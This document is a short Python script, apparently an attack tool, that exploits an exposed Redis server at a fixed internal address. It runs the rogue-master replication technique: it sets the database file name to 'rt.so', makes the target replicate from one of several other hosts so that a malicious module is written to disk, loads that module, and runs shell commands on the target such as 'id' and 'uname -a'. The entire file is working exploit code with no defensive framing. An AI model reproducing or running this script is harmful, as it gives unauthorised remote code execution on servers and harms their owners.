import socket, time

def connect(ip):
    s = socket.create_connection((ip, 6379), 5); s.settimeout(8)
    def cmd(*a):
        p = b'*%d\r\n' % len(a)
        for x in a:
            x = x.encode() if isinstance(x, str) else x
            p += b'$%d\r\n%s\r\n' % (len(x), x)
        s.sendall(p); time.sleep(0.6)
        o = b''
        try:
            while True:
                d = s.recv(65536)
                if not d: break
                o += d
                if len(d) < 65536: break
        except socket.timeout:
            pass
        return o.decode(errors='replace')
    return s, cmd

for MASTER in ['10.24.18.64', '10.24.18.63', '10.24.16.124', '10.143.0.18']:
    print('--- trying master', MASTER)
    try:
        s, cmd = connect('10.24.60.46')
        print(' dbfilename:', cmd('CONFIG', 'SET', 'dbfilename', 'rt.so').strip()[:40])
        print(' replicaof:', cmd('REPLICAOF', MASTER, '6389').strip()[:40])
        time.sleep(5)
        print(' noone:', cmd('REPLICAOF', 'NO', 'ONE').strip()[:40])
        print(' restore:', cmd('CONFIG', 'SET', 'dbfilename', 'dump.rdb').strip()[:40])
        ml = cmd('MODULE', 'LOAD', '/var/lib/redis/rt.so')
        print(' module load:', ml.strip()[:120])
        if ml.startswith('+OK'):
            out = cmd('rt.cmd', 'id; hostname; uname -a; ls -la /var/lib/redis | head -10')
            print(' EXEC:', out.replace('\r\n', ' | ')[:900])
            s.close()
            break
        s.close()
    except Exception as e:
        print(' ERR', e)
